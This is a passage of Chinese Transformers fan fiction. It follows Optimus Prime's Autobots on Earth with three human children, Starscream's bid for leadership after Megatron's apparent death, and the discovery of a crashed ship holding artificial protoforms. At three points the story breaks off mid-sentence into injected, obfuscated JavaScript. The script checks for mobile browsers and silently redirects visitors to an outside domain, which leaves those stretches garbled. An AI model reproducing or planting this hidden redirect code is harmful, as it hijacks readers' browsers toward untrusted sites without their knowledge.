“可不能让汽车人的领袖没有死于炮火而是能量液流失过多。”他试图开个玩笑,但显然他没有什么幽默细胞,好在在场的两个机甲都没有过多在意。 一时之间战舰上只剩下子弹从领袖破损的外装甲中脱落的声音。 擎天柱沉默地任由他动作,那双蓝色的目镜却盯着战舰外的陌生星球。 只消一眼便能看出这是一颗碳基星球,蓝色的海洋和绿色的土地相得益彰,不难想象出这颗星球的自然生态,领袖紧绷的线路终于允许自己从战争状态中脱离,擎天柱露出疲惫的笑,从宇宙中,这颗星球仿佛一颗闪闪发光的珍珠,就连救护车也不禁多看了两眼。 “足够美丽、和平,是吧?那些白色的是云?那么她一定有适宜的气候了,也许她已经诞生了生命也说不定……” 救护车心不在焉,有一搭没一搭地聊着。 “我希望通天晓那边也像我们这边一样平静。”他终究是没忍住,小声向身侧还在为眼前这颗新的星球所失神的领袖问道:“你觉得……威震天……” “……没有人,”领袖转了转光学镜,回了神,“哪怕是威震天……也不可能从那样的爆炸中活下来。”他们离开太空桥前也注意到了对面冲天的火光。 不难猜到发生了什么。 太空桥爆炸的量级足以摧毁一架组合金刚,威震天的装甲还没强到那种程度。 “那就再好不过。”医官将头再次转向手上的工作。 他们的人成功转移,霸天虎的计划也被成功挫败,没有比这更好的消息了。 可是威震天,他真的就这么死掉了吗? 四百万年的战争不止教会了他们如何在敌人的威胁中活下来,还教会了他们永远不要心存侥幸。 没有见到威震天的尸体就不代表这一切真的结束了,霸天虎的这位暴君已经在过去无数次向他们展现了自己绝处逢生的能力。 而他知道擎天柱有着和自己同样的顾虑。 另一边,失去了首领,霸天虎战舰上已经开始滋生不满与不安。 红蜘蛛在返回后迅速收拢了余下幸存的霸天虎士兵,如今正在霸天虎君主曾经的主座上发表着自己的就任讲话。 忽略这位空军指挥官言语间的夸夸其谈与不断被强调的“合法继承权”,底层的霸天虎士兵们在红蜘蛛的脚底下互相低语着,显得红蜘蛛的这个“登基大典”多了一分嘈杂与滑稽。 “可是红蜘蛛指挥、额我是说红蜘蛛陛下,如果在威震天陛下的计划下我们都没能彻底剿灭汽车人残余势力的话,我们真的能获得胜利吗?” “而且我们的能量储存……” “伤员的数量和储存库内的医疗资源……” “通讯系统虽然可以运行但是受到太空桥爆炸的影响……” 言语纷纷,然而虽然看似群龙无首,但是细看就能发现这些霸天虎并没有如无头苍蝇一般无所适从。 虽然有着疑惑与迷茫,但是并没有失去其中的条理性,这台诞生于战争中的绞肉机依然在正常运行着。 而这正是声波所想要的效果。 正如救护车所担心的那样,声波同样不相信威震天会死于这样一场爆炸之中匆忙地结束自己的生命。 而他所需要做的,就是在首领归来前确保霸天虎这柄利刃能够磨好刀尖,等威震天陛下归来时能成为主人最好的兵器一举斩断汽车人的所有根系。 他沉默地站在红蜘蛛身侧对其所发表的一切言论均不予评价。 有士兵在恍惚间求助地看向这位情报官,然而又不自觉收回目光,这位高官实在是让普通的机不寒而栗。 靛青色的机甲静默地站在那里,几乎和身后的黑暗融为一体,经过多次改造后有意特殊强化的间谍机体让他明显区别于其他的赛博坦人,过于修长的机身帮助他能够潜入到一些难以渗透的地方,轻薄的重量又帮助他提升了自身速度保证了安全,更不用提被舍弃的其他装甲和他为了专精情报而对自己CPU和面部做出的改装……他自己甚至都已经把自己作为一台活着的电脑在被霸天虎所使用了。 然而他却甘愿如此。 非人感让其他霸天虎士兵对他这位高深莫测的情报官避之不及,他如同霸天虎的幽灵为威震天监视着每一条信息,监听着每一份情报,数以万计的信息流每天流经他的处理器又被他仔细挑选出其中能够为他们所用的信息加以凝练与分析。 他当然知道那些士兵对自己的畏惧以及非议,汽车人也多次评价他说他们已不知晓声波是否还可以被定义为一个正常的赛博坦人。 他们说,怎么会有机将自己改装到这个地步呢?他已经把自我都舍弃了。 可声波不在乎。 这位高傲且追求效率的情报官早在腐败的议会还在漠视人民的痛苦时就选择永远地闭上自己的嘴巴用行动代替语言,他已将自己的一切都奉献给了威震天在四百万年前所向他承诺的那个理想未来。 也许是感受到了底层士兵们的迷惑和士气的低落,红蜘蛛终于停下了自己的“演讲”,你看,这位霸天虎副官并非空有其名,声波侧身给他让开路,他有能力,有野心,但如果他能学会耐心与忠诚,威震天陛下与霸天虎想必都会给予他比现在更多的尊重与信任。 红蜘蛛低头思索着能够快速提高士气、增加自己在如今大权旁落的霸天虎中的掌控度的方法,声波在这个过程中一如既往保持着自己的沉默与寂静,他微微侧头,但是霸天虎需要他,一个能够稳住士气、保证霸天虎运转同时又缺乏绝对的掌控度、不会威胁到归来的威震天地位的机。 红蜘蛛的处理器高速运转着,他清楚威震天死去后的一段时间必定会有余党继续捍卫这位前暴君的统治,但是底层士兵们也如此动摇是他所没有想到的。 炉渣的! 他暗骂早已死去的霸天虎领袖阴魂不散,但又无法否认目前的情况的确已经超过了他的预想和控制。 底层士兵们的不服从从来不在红蜘蛛的计划之中。 这群流水线下来的锈蚀脑袋懂什么! 他们怎么会懂红蜘蛛陛下才是霸天虎事业所需要的机? 但他无法否认自己如今就需要他们的支持。 搜寻者部队的指挥权都在自己身上,而这些底层士兵需要的是对红蜘蛛陛下的服从度…… 一个妙计出现在他的处理器中,他勾起嘴角,身后的机翼再次高高耸起,声波明白这个讯号,这代表这个副官又想到了什么帮助自己篡位的“计谋”。 自傲的游击重新抖擞起精神,他转过身让自己的身姿映射在每一处甲板的屏幕中,在战争中遭受攻击而变得坑坑洼洼的装甲让他浮夸的表演中增添了一丝真实性,他一边故意侧身让自己身上的伤疤更加显眼一边下达了全部霸天虎登上战舰离开赛博坦的命令。 “我的同胞们……我很遗憾地告诉大家,在威震天和擎天柱的摧毁下,我们的星球已经不再适合机居住了。” “长久以来我们的首领和汽车人领袖的私人恩怨摧毁了我们的家园……就连涡轮狐狸也无法在没有食物和能源的情况下存活!威震天炸毁了我们的每一处矿井,而汽车人的神选领袖却将我们最后的希望——火种源扔出了赛博坦!” 他如愿享受着所有霸天虎的注视,得意洋洋地宣布,“因此,伟大的红蜘蛛陛下决定,我们将登上战舰,去寻找我们丢失的火种源!” “当然,也因为我们的君主生死未知,”他假情假意地做出了哀悼的神情,“不过天佑赛博坦,我早已经预料到如今的情况,根据之前战争遗留下的资料,我们有一个更好的中转站,一个充满了能量的星球正等待着我们的莅临。” “更美妙的消息,我的同僚们,在赛博坦的另一侧,还留有另一座太空桥。” “我们会通过它寻求我们种族的未来,当然赛博坦还是要留人驻守……而我,伟大的红蜘蛛陛下已经安排好了一切,我们将会开启伟大的旅程,带着能量回到赛博坦拯救我们受苦的人民!” 他说的大义凛然,尽管霸天虎们面面相觑,在唯一的长官说了这么一通动员后,别无选择的霸天虎士兵们贯彻了他的命令。 红蜘蛛满意地看着这台战争机器再次运转起来,流水线上下来的杂兵来来往往,不少机身上的划痕和伤口已经到了惨不忍睹的情况,但红蜘蛛视若无睹。 战舰上稀少的资源不是为了给这些量产兵治疗用的。 他们本也没预留出更多空间给这些出生就是为了当做炮灰使用的量产兵。 红蜘蛛侧身观察了一下声波的动静,看到这位拥护威震天的情报官也没有反对时,他脸上的得意之色更甚。 情报官的打算也很明显,既然威震天是在太空桥的爆炸中消失,以声波的推算,威震天存活的可能性很大,而在前往红蜘蛛的那颗目标星球时,他会有更多的时间沿路搜寻霸天虎首领的踪迹。 在霸天虎战舰启程的同时,擎天柱也已经成功在这颗星球上落了脚。 地球,这颗星球拥有和他美丽的外表同样美丽的名字。 经过几年的修养,他也陆续在这颗星球上接收到了几个同样落单的汽车人同胞。 与同伴失散意外来到这里的蓝色杜卡迪摩托阿尔茜、出身雷霆拯救队的绿色越野车隔板、以及他最优秀的侦察兵大黄蜂。 领袖对自己在这颗星球上堪称平和的时间感觉到欣慰,但不安也与日俱增。 他不知道失去自己的汽车人大部队的现况,地球地处偏远,很难被霸天虎发现的同时也代表了他们同样很难被自己的人发现。 擎天柱只能继续等待更好的时机出现。 地球上会出现汽车人同伴也许就是个积极的信号,他们并没有想象中那样孤立无援。 偶尔会出现的霸天虎杂兵似乎也印证了这一点,虽然都是些在他们的战争中意外被卷到这里的倒霉蛋,但是这也证明地球并非被独立在赛博坦的空间跃迁范围外,让领袖微微感到安全感的同时也让他的警戒心始终紧紧绷着。 这种与赛博特的联系是否也预示了战火终将燃烧到这片净土? 领袖不免为这种可能性提心吊胆。 除此之外,他们与人类的交涉也让领袖感觉到了更多新奇体验,这是在以往的战争中从未出现的。 他坐在人类政府为他们提供的废弃导弹基地内,看着三个孩子和他们的汽车人伙伴打闹。 他们相识于几天前,当阿尔茜和大黄蜂在外巡逻却和几个突然出现的霸天虎量产兵产生战斗时,这几个孩子意外看见了一切,为了确保他们的安全,汽车人将他们带回了基地。 按照汽车人守则和他们与人类政府定下的条约,他们本应该向这些本土的居民隐藏好自身的存在,然而你永远不知道意外和明天哪一个最先到来。 几个孩子没有因为他们的存在产生恐慌和负面的情绪,相反,对于这些失去家园的大铁块,他们以平和的态度迅速接纳了他们,并且很快就和领袖的汽车人同伴们成为了朋友。 哪怕是领袖也被人类孩子的友好态度所震惊,这些人类幼崽以一种高尚的同理心接纳了他们这些不得不流浪的外星来客,接纳了他们作为地球的一员和他们共同生存在这颗星球上,甚至对他们的遭遇表现出了同情和安慰。 擎天柱本以为自己早已习惯在漫长的战争中其他种族对自身种族的偏见、蔑视和恐惧,然而,这些孩子们所展现出的态度是如此柔软。 领袖几乎为此感到感激。 他们总让他回想起战前那段没有战火却充满了勃勃生机的和威震天并肩而战的时光。 救护车也是如此,即便和这三个孩子相处的时间不久,即便他不会承认,但救护车已经渐渐喜欢上这些精力旺盛的小家伙们了。 吵闹、不听劝阻、令人烦恼……但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492636|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是甜蜜的负担。 他们会好奇赛博坦的月亮,询问他们的喜好,安慰低落的阿尔茜,带着沉闷的隔板出门散心,帮大黄蜂发泄多余的精力,让救护车想起战前那些在他的诊所中四处乱跑的小火种,那些不听话的小家伙会扒着医生的诊台绞尽脑汁找一个不做检查的借口,在检查后向他索要甜性能量棒,尽管第二天就要再次被揪过来为他吃了太多甜性零食而产生金属损伤的牙齿负责…… 救护车已经不年轻了,他活过了战争最艰难的时刻,然而即便是他这种机甲,也会在这种时候思考他们种族的终局。 三个孩子照旧在周末和他们腻在一起。 三人中梳着双马尾的女孩像只小麻雀一样,手里拿着一把电吉他向隔板介绍着地球的摇滚文化。 “你看隔板!这个就是地球的乐器!我一直梦想组建一个乐队,那样我就会是最棒的主唱,到时候一定把最前排的票寄给你和领袖!” “摇滚?”这个绿色的大机器人迷惑地问,“美琪,那是什么?” “赛博坦没有音乐吗?”本来兴致勃勃的女孩放下手中的乐器疑惑地反问。 隔板好脾气地回应,“赛博坦的音乐被高种姓和贵族把持着,我们是工人,没有渠道碰到这些,”似乎是察觉到女孩的神情低落,他找补道,“不过我很喜欢美琪的摇滚,也许下次兜风的时候我们可以听。” 美琪的注意被顺利转移,一个高个子的男孩此时坐在阿尔茜的身边,他没有错过隔板语言中透露出的信息,转身向着阿尔茜问道,“所以,战前的赛博坦听起来不是个好地方。” 阿尔茜正在调整自己武器的参数,听到男孩的话轻笑了一声。 “我相信对于一些贵族而言那是个好地方,杰克。” “不过你说得对,”这位坚强的女战士低下了头掩盖光学镜中的恨意和晦涩,“高种姓把握着所有的资源,贵族把持着所有的经济动脉,工人一天不休息赚到的能量还不够一个小型金刚一顿的伙食,人们的工作被自己的变形模式所限制。” “隔板这种大型地面单位被认为只能成为最底层的码头工人,跑车被认为只能够成为权贵手中的玩物,而我这种中小型机?” 阿尔茜发出了一声非常响亮的嘲讽,“只能被当做天生的残废。” 杰克和美琪将自己的手掌抚上了隔板与阿尔茜的装甲,安慰性的目光倒映在光学镜中让两个赛博坦人软和了神色。 “不过那都是过去的事情了。”阿尔茜说道。 “但那就是你们掀起战争的原因对吗?”一声稚嫩的声音从另一侧的楼梯上传来,一个年龄看起来不过十一二岁的眼镜男孩从上面探出头,“那真的太可怕了。” “是的,拉菲,”这次是救护车主动接下了小男孩的话茬,“极端的不平衡几乎将底层的人民推上绝路,与此同时赛博坦的高层阶级却依然在享乐,我们的议会只会不断地开会,然后将问题永远留给‘下一次会议’,最严重的时期甚至出现了以赛博坦人自相残杀为噱头的角斗。” 救护车一边说一边没停下手上手上的工作,而拉菲的神色更加苍白,过强的同理心让他几乎无法想象那是种什么人间炼狱。 “bee——bee、bee——”黄色的科迈罗就在这时将自己的小搭档从过于恐怖的幻想中拉了出来。 “谢谢你大黄蜂,但我只是……” “好了好了,拉菲你是不是说过这个电子游戏很难来着?快教教我和杰克。” “没错,联机游戏难度可不小吧。” 拉菲神色还有些恍惚,但是另外两个年长的孩子适时过来将拉菲的注意力拉回了电视上的电子游戏。 只有一旁的领袖还沉浸在刚刚那段对话中。 “而那段战前时光的最后结尾是一个叫做奥利安·派克斯的图书馆管理员认识了一个新崛起的角斗场新星,两个人一起掀起了一场名为霸天虎的斗争……” 救护车继续说着,而领袖勾起一抹苦笑,对救护车的话不置可否。 和汽车人基地中的喧嚣截然不同的寂静宇宙中,一架格外破碎的飞船撞击上了飘荡的陨石,意外启动了残存的内置系统。 「嗞……嗞——检测到外部损坏」 「系统重启中……」 「嗞、启动应急修复程序」 「修复程序启动失败」 「求救信号已发送」 「启、启动动、咔嗞……」 「培养舱自动开启」 「开启失败、原生体授权不足」 「检测到未知火种频率,是否扫描」 「是」「否」 「火种频率扫描成功」 「检测到未知载具形态,是否扫描」 「是」「否」 「扫描失败」 「检测到飞船能量低,是否自动弹出培养舱」 「是」「否」 「培养舱弹出倒计时,10、9、8、7……」 「弹出成功」 「系、系、系统……」 「嗞……」 「咔」 系统再次陷入关闭状态,五道流光从舱室内被弹射出去,飞向宇宙的深处不见踪影,然而在飞船损坏的一角,一个培养舱却斜歪着被折断的横梁死死卡在原地。 飞行器破损的能量仓库中泄露了其中装载的明显不属于这个宇宙的紫色能量,能量液化作涓涓细流从破损处流淌而出。 战争开始后便再也没有机去关注破损的机械到底需要保留多少核心科技才可以再次启动,他们所建造的东西已经逐渐被默认为一次性的消耗品,也因此,当飞船飘散出的紫色能量液与太空桥的残骸相接触时,看似全毁实则还保留有本职功能的太空桥极速运转开来,这种异世界的资源似乎给它提供了远超本地萃取的能量所能提供的更为精炼的动力。 穿越虫洞再次点亮,将这艘飞船直直吞没了进去。 一架昏迷着、气息微弱的银色战机也在此刻被同时吸了进去。 少顷,在飞船消失在传送器另一头后,失去了能量源的太空桥终于彻底变成了一团废铁,再次暗淡了下去。 5. 诞生倒计时三 宇宙中,霸天虎的战舰已经在到达红蜘蛛所设定的目标星球前航行了五个恒星年。 在这期间声波没有搜寻到任何威震天的踪迹,但没有消息对于情报官来说就是最好的消息,这起码说明威震天没有在爆炸中变成碎片。 五个恒星年对于赛博坦人而言不过是弹指一挥间,他们准备一场大型战役都要以千年为单位,但这段时间足够领袖在地球站稳脚跟,也足够红蜘蛛意识到: 他根本不可能短时间内让这些看似顺从自己安排的霸天虎们从心底里拥护自己成为霸天虎的新领袖。 这位自封的霸天虎新任首领焦虑得在自己的舱室来回踱步,高层的霸天虎他自有办法挨个儿攻破,但重点在于霸天虎的底层士兵们根本不吃他这一套,只会认死理地认为威震天才是领导他们的领袖。 他得做点儿什么以证明自己真的有这个能力超越威震天。 好在今天霸天虎的战舰就已经正式突破了这颗泥巴星的大气层。 等找到了威震天曾经发放到这颗破烂星球上的隐藏能源,他肯定就能收服这些底层士兵们的信任。 就算他知道这些能量根本不够每个杂兵吃饱肚子。 不过那又如何,自然有劳工阶级被他派遣下去挖矿,他可是记得很清楚这里之所以被威震天投放了隐藏能源就是因为这颗星球也曾经被作为战场使用,在土层中也蕴含着大量未发掘的能量晶体。 不过在那之前,声波先一步收到了一个未知的救援信号。 信号是突然出现的,起初情报官的确以为是搜寻威震天的任务有了结果,然而经过解密,证明这是一艘来自汽车人的飞船。 从求救信号中理解出来的信息不成语句,但声波还是想办法复原了一部分。 信息中指出这艘船搭载了大量以活体武器为前提进行研制的原生体。 声波没有纠结光明磊落的汽车人为何在研究这些不符合汽车人守则的实验,他只是迅速意识到,如果的确如信息所言,这些原生体还没有得到激活,那么只要他们获得了这艘飞船,就可以利用这些原生体去扫描霸天虎的火种和载具,为己方势力增添更多助力。 他将这个消息告诉了红蜘蛛。 只需要稍微诱导,告诉红蜘蛛这些原生体在被他激活后将会对他言听计从,这位副官自然会上钩。 然而红蜘蛛依然犹豫着要不要耗费精力去唤醒这些原生体。 因为飞船的信号在被声波接收到后改变了坐标,正在向着地面迅速坠落。 正常来讲,赛博坦人本身的火种频率就代表了一种生命信号,除非像是领袖目前所在的汽车人基地一样特地使用设备费心去隐藏,否则,当他们站在地球的土地上时,这本身就会暴露他们的行踪。 在霸天虎军舰出现的同一时刻,救护车就在基地内向领袖报告了这一情况,与此同时还有那个正在向领袖本人发送的求救信号。 只是那个救援信号所使用的频率与他们的截然相反让救护车忧心忡忡。 和还在犹豫的红蜘蛛不同,擎天柱几乎没有太多思考就决定了先去寻找坠落的那艘未知飞船。 “霸天虎先放一放,”领袖没有被这则突发消息弄得乱了阵脚,“先去找那艘飞船,那里有可能有需要救援的汽车人。” 救护车没有反驳,点头输入了坐标,随着陆地桥绿色的能源亮起,擎天柱和大黄蜂同时迈入其中。 再睁开眼他们已经身处马达加斯加的无人森林中,湿热的气息瞬间就窜入了他们的处理器,脚底下柔软的沙滩如同一张薄毯包裹住了他们的脚,新奇的触感让大黄蜂忍不住弯下腰捞了一把沙子又看着它们从自己的机械手掌中缓缓流走。 “怎么样,可以看到飞船痕迹吗?”拉菲在通讯器那头问。 “还没有,我们会往里面继续深入。” “好的。”电脑敲击的声音响起,“有可能是大气层摩擦导致坠落地点产生了些许偏移,我这边重新模拟了一下坠落轨迹,你们往西南方向前进,他们应该是掉在那边了。” “明白。” 擎天柱掐断通讯。 没有了人类的踪迹,植物与动物在这块无人踏足的净土上肆意繁衍着,凭借领袖优秀的耳力能够听到那些被掩盖在树叶簌簌声后万物的声音。 大型动物被他们惊扰到后跑动的声音、小型啮齿动物窸窸窣窣穿梭的声音、虫类翅膀拍打的声音……如此的生机勃勃,如此的……鲜活。 领袖的思绪再次因为霸天虎袭来的消息而动荡。 他几乎快记不清上一次感受到生命是什么时候了。 赛博坦,他们的母星早已在他们的战争中被腐蚀得面目全非,原本空旷无际的锂平原因为爆炸性物质被引入战争而变成了凹凸不平的裂谷,曾经波光粼粼的锈海已经变成了死亡沼泽,在轰炸以及大型战役中被摧毁的城市更是数不胜数。 更不用提因为他们掀起的战火而被迫背井离乡四处游荡的赛博坦人们。 他和威震天,他们亲手毁掉了自己的家园。 每次当他回首过去,这个想法便会出现,然后让他痛不欲生,仅仅是“因为自己的缘故,赛博坦才会变成如今的一颗死星”这种可能就已经让领袖不堪重负。 陪伴他们的不知从什么时候开始已经变成了同族临死前的哀嚎和手掌上能量液的温热与黏腻,腥甜的味道没有一刻不萦绕在他的鼻尖,哪怕是在没有战争的休憩时间,杀戮的回忆也会出现在他们最深的噩梦中。 领袖甚至已经记不清自己上次充电是什么时候了。 这四百万年,他惊恐地发现自己除了战争一无所有。 有什么东西从他们的脚底窜过,大黄蜂紧张地转出了手炮,在看清那不过是一只带崽的母鹿后又暗自放下了武器。 擎天柱强迫自己打起精神,安抚身侧侦察兵已经紧绷的神经。 有些时候,他必须告诉自己为什么要继续这场持续良久的战争。 可是质疑没有一刻不在煎熬着他。 这一切真的值当吗? 他所做的真的就是赛博坦所需吗? 他所做的一切,真的走在正确的路上吗? “大黄蜂。” “bee?” 什么时候就连磨合期的幼生体也不得不被卷入这场战争之中? 「奥利安·派克斯!伟大的擎天柱领袖!那永不消散的理想的代表!」 “走在我身后。” “bee——” 「告诉我,当你站在高台上向下俯视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他可以在威震天疑似阵亡后“合理接任”他的位置,然而却不能在有声波监视的情况下再次谋杀威震天。 毕竟上次那么得天独厚的机会不是每次都有的。 最终他还是咽下满腔的怨怼,将太空中那个飘荡的名叫“威震天”的大型垃圾拖了回来。 该死的,已经过去五年了!为什么这该死的威震天就是不肯老实去死? 霸天虎军舰上的医生对昏迷的威震天啧啧称奇,他们这位君主全身的装甲已经被爆炸卷烂了,火种舱都暴露在外,然而不知为何却依然还活着。 只有他手上握着的不明来源的紫色晶体让人感到不祥。 也许他是有什么奇遇吧。 负责救治的医生击倒耸耸肩膀,他们掰不开威震天的手,看在不影响救治的份上就没有人再去碰那块晶体了。 懒得再看这幅情景,红蜘蛛咽下眼中的恨意,飞出了飞船。 在霸天虎“欢天喜地”地迎接他们奇迹生还的领袖的同时,汽车人也已经掀开了未知飞船的残破舱门。 6. 诞生倒计时二 “bee——bee——bee。”大黄蜂收回手中的焊枪,踹开了切割后摇摇欲坠的舱门。 一股高温灼烧后的糊味瞬间窜入他们的鼻子,大黄蜂被熏得忍不住闭上了自己的光学镜后退了几步,擎天柱强忍着不适探头过去,只见舱室内的通道近乎全毁,但还留有一人大小的缝隙可以勉强容纳他们通过。 “大黄蜂,注意警戒。”领袖神色严峻,举着手炮率先进入。 “这里面显然不是汽车人的风格。” “你是说这里是霸天虎伪造的……陷阱?”救护车在基地那头紧皱着眉头。 通讯中救护车的嗓音还夹杂着一丝静电噪点,领袖本想让连轴转的医师多休息会儿,但自从领袖找到这艘形似汽车人却并非汽车人所造的古怪飞船后,基地与领袖的联系便再未中断。 「如果你们出了事,起码我们能够最快速度派出增援。」 「拜托了,就算是为了让我们安心。」 话已经说到这个份儿上,擎天柱自然没有拒绝的道理。 收回心绪,领袖打了个手势,带领着小侦察兵开始探索。 “不一定救护车,具体的还需要我们找到飞船航行日志才能确定。” 他面色凝重,侧身和廊道中东倒西歪毁坏不堪的仪器擦身而过,尖锐的凸起给领袖本就缺乏保养的外漆又添一道划痕,然而领袖毫不在意。 他只是暗自思索着,这艘飞船虽然是按照汽车人的规格所建造的,但是汽车人阵营的标志不对…… 标志都还是个小问题,毕竟在战争焦灼期间他们甚至有过丢了阵营标志后直接手画了一个就上战场的经历,重点在于——这艘飞船如果是霸天虎所仿造,那么也过于“逼真”了。 一些汽车人内部的建造档案是有专用于防止霸天虎伪造陷阱的独特设计的,那些针对领袖的暗杀计划也正是因为这些微小的特殊设计而胎死腹中,可这艘飞船,太像了。 领袖又撬开一处墙壁,里面露出一个隐藏的电路板,他仔细对比,依然没有发现什么异常,但出于谨慎,他还是将那块墙壁又安了回去。 甚至就连这些微小的地方也和汽车人内部档案中的一模一样。 这让擎天柱不得不提起警惕,如果这不是一艘意外更换了标志的汽车人飞船,如果这真的是霸天虎用于诱导他的陷阱,那么他们就有更麻烦的问题要考虑了。 汽车人内部的绝密资料可能已经在他们驻守地球期间被泄露了,或者更糟糕——汽车人内部出了奸细。 他强行打断自己的思绪,告诫自己目前还是先专注于眼前的任务。 在廊道尽头,他们看到了那扇充满破坏痕迹的铁门,以及铁门前已经死亡、被坠落时与地球大气层摩擦所产生的高温融化得看不出派别和容貌的赛博坦人的尸体。 大黄蜂凑近这些融化在一起的尸块,试图将他们仅剩的残肢和他资料库中的人员进行比对,然而一无所获。 黄色的侦察兵转而将目光投向那扇舱门。 舱门上留有黑漆漆的烙印,他辨认出这破坏痕迹属于焊枪一类的工具,而在他们过来的路上其他的舱室没有被破坏的迹象,这间舱室前也没有打斗的痕迹,这也就代表这里曾经发生过一起小型的战斗,没有产生正面冲突,但有什么人潜入了这艘“汽车人”飞船,并且目的直指这间舱室,或者说这间舱室内的“某样东西”,为此他们宁可选择自绝后路锁死舱门也要获得或者破坏这样东西。 不管那是什么,那一定很珍贵。 他转过头和领袖对视,在彼此眼睛中都看到了了然,擎天柱明显也和他想到了同一件事。 “后退,大黄蜂。” 领袖平静地下令,在大黄蜂退到安全距离后,蓄力一炮,只听爆炸的声音伴随粉尘纷飞,那扇之前被焊枪切割也没有打开的舱门已经被领袖轰出了一个足以容纳大型机通过的洞。 他们小心翼翼地进入舱室,然而舱室内部同样被高温和爆炸损坏得彻底,一些设备已经被高度毁害根本无法辨认其上的字迹和功能。 领袖就在这时打开了自己的光学镜与基地内光屏的链接,救护车他们得以在这个时候看清这艘飞船的全貌。 “救护车,可以看到吗。” “这里就是飞船的主舱室了,门口有焊枪的痕迹,我正在尝试接入这台电脑的主机读取飞船任务日志,如果飞船底盘保存完整,我会将对应资料和数据传输回基地。” “了解,我和拉菲会在这边实时监控,万事小心。” 拉菲这个十分擅长电脑科技且天赋异禀的小黑客也在背景音里小声附和,仔细听还能听见其他两个孩子和汽车人同伴们说话的声音。 领袖微微安心,找到了飞船操作台上的接入口。 随着数据的传输,拉菲也成功还原出了一小部分文字,但只能辨认出“兵器”、“敌人”、“反转”这类意义不明无法连贯的词语。 “你们还发现什么了吗?”拉菲苦恼地问,“如果你们能找到飞船的硬盘或者类似的东西,我应该可以还原出飞船的监控记录,目前这些数据太杂乱和破碎了。” “或者航行记录也可以。” 领袖微微凝神,“我尝试一下。” 也就在这时,大黄蜂在一处坍塌的横梁下发现了一个静滞舱。 原本白色的表皮已经脱落,绿色的胶质液从撞击产生的裂痕处泄露,周围一小片地板都因此变得黏糊糊的,连接静滞舱的管道已经断了三根,仅剩下两根还顽强地连接着。 大黄蜂走近,用手指抹掉被灰尘遮盖的名牌。 「原生体-06」 “bee?”大黄蜂试图凑近,然后没等他透过灰蒙蒙的玻璃看清里面装的东西,一个没有被装甲包裹的机械手掌从浑浊不堪的内部伸出陡然拍在了盖子上! “嘭!!!” “bee!!!!!” 大黄蜂猛然后退,发出一声尖叫。 “大黄蜂!”擎天柱迅速地放下手中的工作,合上战斗面具,转过身,手炮随之对准了大黄蜂所在的位置。 被惊吓到的黄色科迈罗很快冷静了下来,然而在慌乱期间依然不知碰到了什么触发了飞船残存的报警系统。 更加刺耳急促的声音转而从飞船破损的喇叭中传出,在方圆十公里内都能听到这刺耳的警报声。 “嘀——” “侵入警告!侵入警告!” “检测到……” “嘀呜——……” 警报系统启动了本已停机的系统,只见原本在领袖手下仅勉强启动了一张的屏幕依次亮起,照亮了这间残破的舱室,大黄蜂所发现的那只静滞舱也因此露出了他的全貌。 “检测到擎天柱领袖,警报系统关闭……” 刺耳的警报在短暂响起后又回归平静。 大黄蜂急忙向已经紧绷起来的领袖解释了刚刚的状况。 救护车的声音也在此时响起。 “普神啊,那是一个原生体舱!” “什么?”美琪问。 救护车将自己的目光艰难地从屏幕上的静滞舱上移开,向着好奇的孩子们解释道:“赛博坦人本由我们的神明普莱姆斯自然孕育而生,从火种源井中诞生的火种与赛博坦地表的金属结合生成所谓的幼生体,也就是你们人类的‘孩子’,”他再次将目光聚焦于那个残破不堪的静滞舱,“可是自从战争开始后,我们的赛博坦便不再诞生新的生命了,直到……” “战争迫使我们和霸天虎都不约而同启动了一项计划。” “通过人工的方式,制造新的生命,也就是你们眼前的原生体。” “你们试图……”三个孩子目瞪口呆地得出结论,“克隆生命?!” “是的,”救护车心怀惭愧,“但是我们很快意识到被制造出来的小火种甚至称不上是一个完整的生命,他们无法拥有自主的思维,无法自主选择变形形态……” “活在那里的只是一具空有赛博坦人躯体的空壳,更糟糕,他们是被人为制造出来的活体兵器。” “所有的一切都只剩下了基本的战斗本能,他们的处理器甚至不存在求生模块,对于他们而言唯一的使命就是服从创造者的命令。” “我们意识到,我们在错误的道路上越走越远,并且严重亵渎了‘生命’的尊严,剥夺了这些原生体选择的权利,我们的自私让他们作为‘兵器’和‘工具’而诞生。” “所以我们销毁了所有的研究,终止了这个计划。” “而据我所知,霸天虎那边也因为同样的原因,销毁了所有的原生体。”领袖在静滞舱前蹲下,手掌拿起了其中一条连接舱室的管道。 “哇哦……霸天虎也讲求这些吗?” “不,但他们意识到这些对威震天言听计从的原生体登上战场只会变成一味冲锋而不懂闪避的炮灰,并且造价昂贵,并不能给战场制造优势后,立刻做出了和我们同样的选择。” “既然虎子那边和汽车人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492638|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边都已经销毁了所有数据……那么这艘飞船到底是从哪里蹦出来的?”美琪疑惑地问。 “救护车,你能看清吗?” “是的擎天柱,”救护车放大了画面,“这看起来像是原生体舱的维生管道……” “如果刚刚发生的并非意外,那么这里面的原生体可能还存在基本的神经回路。” 